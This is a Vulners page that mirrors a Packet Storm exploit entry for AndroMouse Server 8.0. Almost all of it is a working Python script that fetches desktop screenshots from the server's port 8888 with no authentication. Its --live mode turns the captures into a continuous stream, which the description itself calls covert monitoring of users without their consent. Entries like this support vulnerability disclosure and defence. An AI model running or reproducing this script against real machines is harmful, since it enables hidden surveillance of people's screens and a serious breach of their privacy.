Lucene search
K

📄 AndroMouse Server 8.0 Unauthenticated Screenshot Exposure

🗓️ 04 Jul 2025 00:00:00Reported by Chokri HammediType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 101 Views

Unauthenticated retrieval of desktop screenshots from AndroMouse Server 8.0 on port 8888.

Code
# Exploit Title: AndroMouse Server 8.0 – Unauthenticated Screenshot Exposure
    # Date: 03/07/25
    # Exploit Author: Chokri Hammedi
    # Vendor Homepage: http://andromouse.com
    # Software Link: https://andromouse-server.en.lo4d.com/windows
    # Version: 8.0
    # Tested on: Windows 10
    
    '''
    Description:
    
    AndroMouse Server 8.0 listens on TCP/UDP port 8888 and allows
    unauthenticated retrieval of desktop screenshots. Attackers can abuse this
    feature by repeatedly requesting screenshots to create a covert live
    monitoring stream, compromising user privacy without any notification or
    consent.
    
    
    usage: screen.py [-h] [--live]
    
    AndroMouse Server 8.0 Screenshot / Live Stream tool
    
    options:
      -h, --help  show this help message and exit
      --live      Show live stream instead of saving one screenshot
    
    
    '''
    
    
    import socket
    import struct
    import time
    import datetime
    import cv2
    import numpy as np
    import argparse
    
    HOST = '192.168.8.104'
    PORT = 8888
    TIMEOUT = 5
    
    def tcp_connect():
        while True:
            try:
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                sock.settimeout(TIMEOUT)
                sock.connect((HOST, PORT))
                return sock
            except Exception:
                time.sleep(3)
    
    def udp_send(message):
        udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        udp_sock.sendto(message.encode(), (HOST, PORT))
        udp_sock.close()
    
    def tcp_send(sock, message):
        sock.sendall(message.encode())
    
    def tcp_send_raw(sock, data):
        sock.sendall(data)
    
    def recv_until(sock, suffix=b'\r\n'):
        data = b''
        while not data.endswith(suffix):
            chunk = sock.recv(1)
            if not chunk:
                raise ConnectionError()
            data += chunk
        return data
    
    def recv_exact(sock, size):
        data = b''
        while len(data) < size:
            chunk = sock.recv(size - len(data))
            if not chunk:
                raise ConnectionError()
            data += chunk
        return data
    
    def receive_image(sock):
        tcp_send(sock, "screen_shot_key")
        time.sleep(0.1)
        tcp_send_raw(sock, b"\x0a")
    
        response = recv_until(sock, b'\r\n')
        if not response.startswith(b"screen_shot_response"):
            raise ValueError("Unexpected response")
    
        size_data = recv_exact(sock, 4)
        image_size = struct.unpack(">I", size_data)[0]
        image_data = recv_exact(sock, image_size)
        return image_data
    
    def save_screenshot(image_data, filename_prefix='screenshot'):
        np_arr = np.frombuffer(image_data, np.uint8)
        frame = cv2.imdecode(np_arr, cv2.IMREAD_COLOR)
        if frame is None:
            print("[!] Failed to decode image")
            return False
    
        timestamp = datetime.datetime.now().strftime('%Y%m%d_%H%M%S')
        filename = f"{filename_prefix}_{timestamp}.png"
        cv2.imwrite(filename, frame)
        print(f"[+] Screenshot saved as {filename}")
        return True
    
    
    def live_stream():
        sock = tcp_connect()
        print("[+] Starting live stream. Press ESC to quit.")
        try:
            while True:
                try:
                    img_bytes = receive_image(sock)
                    np_arr = np.frombuffer(img_bytes, np.uint8)
                    frame = cv2.imdecode(np_arr, cv2.IMREAD_COLOR)
                    if frame is None:
                        continue
    
                    cv2.imshow("Remote Screen Stream", frame)
                    if cv2.waitKey(1) == 27:  # ESC key to quit
                        break
    
                    time.sleep(0.1)
                except (socket.timeout, ConnectionError, struct.error):
                    sock.close()
                    time.sleep(3)
                    sock = tcp_connect()
                except Exception as e:
                    print(f"[!] Unexpected error: {e}")
                    break
        finally:
            sock.close()
            cv2.destroyAllWindows()
            print("[+] Live stream ended.")
    
    def single_screenshot_with_retries():
        while True:
            sock = tcp_connect()
            try:
                image_data = receive_image(sock)
                if save_screenshot(image_data):
                    break
            except (socket.timeout, ConnectionError, struct.error) as e:
    
                sock.close()
                time.sleep(1)
            except Exception as e:
                print(f"[!] Unexpected error: {e}")
                sock.close()
                break
            finally:
                sock.close()
    
    def main():
        parser = argparse.ArgumentParser(description="AndroMouse Server 8.0
    Screenshot / Live Stream tool")
        parser.add_argument('--live', action='store_true', help='Show live
    stream instead of saving one screenshot')
        args = parser.parse_args()
    
        if args.live:
            live_stream()
        else:
            single_screenshot_with_retries()
    
    if __name__ == "__main__":
        main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Jul 2025 00:00Current
7.5High risk
Vulners AI Score7.5
101